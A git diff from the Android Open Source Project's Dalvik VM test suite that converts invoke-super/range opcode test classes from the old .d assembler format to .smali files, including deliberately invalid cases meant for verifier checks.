diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.d
deleted file mode 100644
index 709fad6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_18.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
-.limit regs 5
-
-       invoke-super/range {v4}, dot/junit/opcodes/invoke_super_range/TestStubs/TestStub()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali
new file mode 100644
index 0000000..0477975
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
+.registers 5
+
+       invoke-super/range {v4}, Ldot/junit/opcodes/invoke_super_range/TestStubs;->TestStub()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.d
deleted file mode 100644
index d30cc05..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_19.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_19
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       move-object v0, v3
-       const/4 v1, 1
-       invoke-super/range {v0, v1}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19/toInt(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.smali
new file mode 100644
index 0000000..9aa28aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19;
+.super Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+.source "T_invoke_super_range_19.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 4
+
+    move-object v0, p0
+
+    const/4 v1, 0x1
+
+    invoke-super/range {v0 .. v1}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_19;->toInt(I)I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.d
deleted file mode 100644
index b8c9051..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_2.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_2
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 8
-       const v7, 0    
-       invoke-super/range {v7}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 777
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali
new file mode 100644
index 0000000..6d70e36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+       const v7, 0    
+       invoke-super/range {v7}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_2;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.d
deleted file mode 100644
index 7ea46f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_20.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
-.limit regs 5
-
-       invoke-super/range {v4}, dot/junit/opcodes/invoke_super_range/TestStubs/TestStubP()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali
new file mode 100644
index 0000000..012dd41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super_range/TestStubs;)V
+.registers 5
+
+       invoke-super/range {v4}, Ldot/junit/opcodes/invoke_super_range/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.d
deleted file mode 100644
index efe22e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_22.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_22
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_super_range/d/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_super_range/d/TPlain/<init>()V
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/TSuper/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali
new file mode 100644
index 0000000..678ac82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_22;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super_range/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super_range/d/TPlain;-><init>()V
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.d
deleted file mode 100644
index 5877042..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_23.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_23
-.super dot/junit/opcodes/invoke_super_range/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_super_range/d/TSuper
-       invoke-direct {v2}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/TSuper2/test()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali
new file mode 100644
index 0000000..961cde9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_23.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_23;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.d
deleted file mode 100644
index dcc399d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TTestInterface.java
-.interface public dot.junit.opcodes.invoke_super_range.d.TTestInterface
-
-.method public abstract test()V
-.end method
-
-; =====================================
-
-.source TTestInterfaceImpl.java
-.class public dot.junit.opcodes.invoke_super_range.d.TTestInterfaceImpl
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_super_range.d.TTestInterface
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-; =====================================
-
-.source T_invoke_super_range_24.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_24
-.super dot/junit/opcodes/invoke_super_range/d/TTestInterfaceImpl
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TTestInterfaceImpl/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       invoke-super/range {v7}, dot/junit/opcodes/invoke_super_range/d/TTestInterface/test()V
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..37ee720
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..c75bb2b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/T_invoke_super_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/T_invoke_super_range_24.smali
new file mode 100644
index 0000000..200df6f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24.smalis/T_invoke_super_range_24.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_24;
+.super Ldot/junit/opcodes/invoke_super_range/d/TTestInterfaceImpl;
+.source "T_invoke_super_range_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_super_range/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.d
deleted file mode 100644
index 1a9d17a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_25.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_25
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 4
-
-       new-instance v3, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25
-       invoke-super/range {v3}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25/toInt()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali
new file mode 100644
index 0000000..95d498e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_25.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 4
+
+       new-instance v3, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;
+       invoke-super/range {v3}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;->toInt()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.d
deleted file mode 100644
index 8e53186..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.d
+++ /dev/null
@@ -1,50 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_super_range.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_super_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_super_range_26.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_26
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_super_range.d.ITestDefault
-.implements dot.junit.opcodes.invoke_super_range.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-super/range {v0}, dot/junit/opcodes/invoke_super_range/d/ITestDefault/testDefault()V
-       invoke-super/range {v0}, dot/junit/opcodes/invoke_super_range/d/ITestDefault2/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault.smali
new file mode 100644
index 0000000..944f811
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
